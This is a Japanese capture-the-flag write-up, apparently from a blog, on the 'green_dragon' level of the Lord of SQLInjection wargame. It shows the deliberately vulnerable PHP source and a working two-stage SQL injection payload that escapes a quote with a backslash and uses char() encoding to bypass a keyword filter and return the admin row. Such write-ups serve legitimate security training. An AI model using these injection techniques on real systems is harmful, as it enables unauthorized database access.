以下の内容はhttps://blog.hamayanhamayan.com/entry/2020/08/12/190548より取得しました。


green_dragon [LORD OF SQLINJECTION]

Lord of SQLInjection

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
    if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
    if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
    $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
    $result = mysqli_fetch_array(mysqli_query($db,$query2));
    if($result['id'] == "admin") solve("green_dragon");
}
highlight_file(__FILE__);

特徴は以下。

  • id,pwを入力する。以下フィルターがある
    • prob,_,.,',"は使えない
    • 取ってきた情報で改めてリクエストをかけて、idがadminのものが取ってこれるか確認している

結論から言うと、以下で奪取可能。
?id=\&pw= union select char(0x5c),char(0x20, 0x75, 0x6e, 0x69, 0x6f, 0x6e, 0x20, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x63, 0x68, 0x61, 0x72, 0x28, 0x39, 0x37, 0x2c, 0x31, 0x30, 0x30, 0x2c, 0x31, 0x30, 0x39, 0x2c, 0x31, 0x30, 0x35, 0x2c, 0x31, 0x31, 0x30, 0x29, 0x20, 0x23) %23

id部分でシングルクオートをエスケープして、pw部分で自在にテーブル操作をしている。
union selectで任意の応答を返すようにするが、文字列はそのまま置けないので、char関数で埋め込む。
応答は

id \
pw union select char(97,100,109,105,110) #

が帰り、これで改めてリクエストすると、adminがidに入ってくる。




以上の内容はhttps://blog.hamayanhamayan.com/entry/2020/08/12/190548より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14